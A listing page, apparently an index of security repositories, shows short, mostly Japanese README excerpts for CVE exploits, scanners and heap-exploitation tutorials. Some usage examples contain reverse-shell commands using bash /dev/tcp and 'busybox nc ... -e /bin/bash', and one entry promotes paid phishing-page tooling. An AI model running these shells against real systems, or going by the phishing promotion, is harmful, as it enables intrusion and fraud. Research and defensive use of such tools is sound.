SCCMVersionGuesser

SCCMVersionGuesser 自动化的 SCCM 构建版本与补丁级别检测工具 依赖要求 requests 使用方法 $ python3 SCCMVersionGuesser.py https://sccm.example.com 参考 https://learn.microsoft.com/en-us/intune/configmgr/hotfix/ https://github.com/MicrosoftDocs/memdocs/tree/main/intune/configmgr/hotfix...

CVE-2018-16763

CVE 2018-16763 エクスプロイト はじめに FUEL CMS 1.4.1 における PreAuth-RCE デモ 参照: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

apache__mina-sshd_CVE-2023-35887_2-9-2

Apache MINA SSHD Apache MINA SSHD は、クライアント側とサーバー側の両方で SSH プロトコルをサポートする 100% 純粋な Java ライブラリです。これは、 Unix オペレーティングシステムの SSH クライアントや SSH サーバーの置き換えを目的とするものではなく、SSH サポートを必要とする Java ベースのアプリケーションにサポートを提供します。 このライブラリは、複数の I/O バックエンドを利用できます。 デフォルトのトランスポートは組み込みで、Java の AsynchronousSocketChannel を使用します。 Apac...

CVE-2022-29885

CVE-2022-29885 このツールはセキュリティ研究目的のみに使用されます。このツールを使用した違法な攻撃を開始することを禁止し、結果はすべてユーザーの責任とします。 ツールはセキュリティ研究および内部自己点検のみに使用され、ツールを使用した違法な攻撃の開始は禁止され、結果は使用者が責任を負うものとします。 紹介 Apache Tomcat DoS CVE-2022-29885 エクスプロイト EncryptInterceptor Tomcat Cluster におけるサービス拒否 対象のマシンは Cluster Nio Receiver を起動している必要があります。特殊な TC...

CVE-2020-9496

CVE-2020-9496 脆弱環境のセットアップ ▶ wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip ▶ unzip apache-ofbiz-17.12.01.zip ▶ cd apache-ofbiz-17.12.01 ▶ sh gradle/init-gradle-wrapper.sh ▶ ./gradlew cleanAll loadDefault ▶ ./gradlew "ofbiz --load-data readers=seed,seed-initial,ext" ▶ ./gradle...

CVE-2021-22205

CVE-2021-22205 影響バージョン： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 使用方法 python3 CVE-2021-22205.py target "curl \whoami.dnslog" csrf-token の取得： /users/signin から csrf-token を取得し、前述の CVE-2021-22205 POC を使用してアップロードパケットを構築し、認証されていないアップロードリクエストを実行して、最終的に RCE を達成します。 参照:...

testssl.sh

紹介 testssl.sh は、サーバーのサービスを任意のポートでチェックし、 TLS/SSL 暗号スイート、プロトコルのサポート、およびいくつかの 暗号上の欠陥を確認する無料のコマンドラインツールです。 主な機能 明確な出力: 何が良いか悪いかを簡単に判断できます。 機械可読な出力 CSV、2種類のJSON形式、HTML出力も可能。 インストールや設定は不要。gems、CPAN...

CVE-2009-4623

Advanced Comment System 1.0 - リモートコマンド実行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 例 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CMSsc4n

CMSsc4n ドメインがCMSを持っているかどうかを識別し、そのバージョンを特定するツールです。 現在、CMSsc4nがサポートしているCMSはWordPress、Moodle、Joomla、Drupal、Prestashopです。 インストール GitHubリポジトリをクローンして、CMSsc4nの最新バージョンをダウンロードできます。 git clone https://github.com/n4xh4ck5/CMSsc4n.git pipで依存関係をインストールします。 pip install -r requirements.txt 使い方 python cmssc4n.py -...

lava

LAVA: Large Scale Automated Vulnerability Addition Evaluating and improving bug-finding tools is currently difficult due to a shortage of ground truth corpora i.e., software that has known bugs with triggering inputs. LAVA attempts to solve this problem by automatically injecting bugs into...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils エクスプロイトタイトル: Pluck CMS 4.7.16 - リモートコード実行（RCE）（認証済み） 日付: 13.03.2022 エクスプロイト作者: Ashish Koli Shikari ベンダーホームページ: https://github.com/pluck-cms/pluck バージョン: 4.7.16 テスト済み: Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...

AdvPhishing

MP4の確認：https://www.instagram.com/tukbuck/reel/DTBBBknj-nd/ 注：このツールを有効にしたい、または動作する同じプロジェクトが必要な場合は、まず支払い：ETH（ERC20）ウォレットアドレス： 0xe48df3c0e1713518096c7d2d0a2dce70aa85cd33 ソーシャルメディアでフォロー サポートをお願いします プロフェッショナルなフィッシングページの作成、倫理的ハッキング、バグバウンティを学びたい方は、https://secnhack.in をご覧ください 質問やハッキング学習のためのWhatsAppグループに参...

Binary Exploits

Exploit Database's Binary Exploits Binary exploits are located in the /bin-sploits/ directory. This is an official repository of The Exploit Database, a project sponsored by Offensive Security. Our repositories are: Exploits & Shellcodes: https://gitlab.com/exploit-database/exploitdb Binary...

how2heap

Educational Heap Exploitation This repo is for learning various heap exploitation techniques. We use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases. You can run apt source libc6 to download the source code of the Libc you are using...

OpenSSL-1_0_1g_CVE-2015-1792

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 説明 OpenSSLプロジェクトは、Secure Sockets Layer SSL v2/v3 および Transport Layer Security TLS v1...

cve-2021-42013

cve-2021-42013 Apache 2.4.50 路径遍历漏洞 关注我们 Youtube Twitter Telegram Vulnmachines.com...

Linux_Exploit_Suggester

LinuxExploitSuggester Linux Exploit Suggester（OSのリリース番号に基づくエクスプロイト提案ツール）。 このプログラムは引数なしで実行すると、'uname -r' を実行してLinux OSのリリースバージョンを取得し、可能性のあるエクスプロイトの提案リストを返します。凝った処理は行わないため、パッチ適用済み/バックポートされたパッチがこのスクリプトを騙す可能性があります。 さらに、'-k' フラグを指定すると、カーネルバージョン/OSのリリースバージョンを手動で入力することもできます。...

c5scan

c5scan メンテナンス停止 Concrete5 CMS向けの脆弱性スキャナーおよび情報収集ツールです。現在、リファクタリング待ちのため少し古くなっています。 使用方法 python c5scan.py -u -r -u --url ターゲットURLを指定 -r --robots robots.txtが見つかった場合、内容を表示 依存関係 pip install httplib2 requests 使用例 $ python c5scan.py -u localhost -r C5scan A vulnerability and information gatherer for...

CVE-2022-41741-742-Nginx-Vulnerability-Scanner

🛡️ Nginx Vulnerability Scanner m10sec によって開発されました。 このスクリプトは、リモートサーバーのNginxバージョンを自動的に検出し、既知のセキュリティ脆弱性（具体的には以下のもの）に対して脆弱かどうかを評価します： CVE-2023-44487 – HTTP/2 Rapid Reset Attack CVE-2022-41741 – ngxhttpmp4module のメモリ破損 CVE-2022-41742 – ngxhttpmp4module のメモリ漏洩 🚀 特徴 分析対象のサーバーのURLまたはIPをユーザーに入力してもらいます。...

CVE-2025-24893

CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...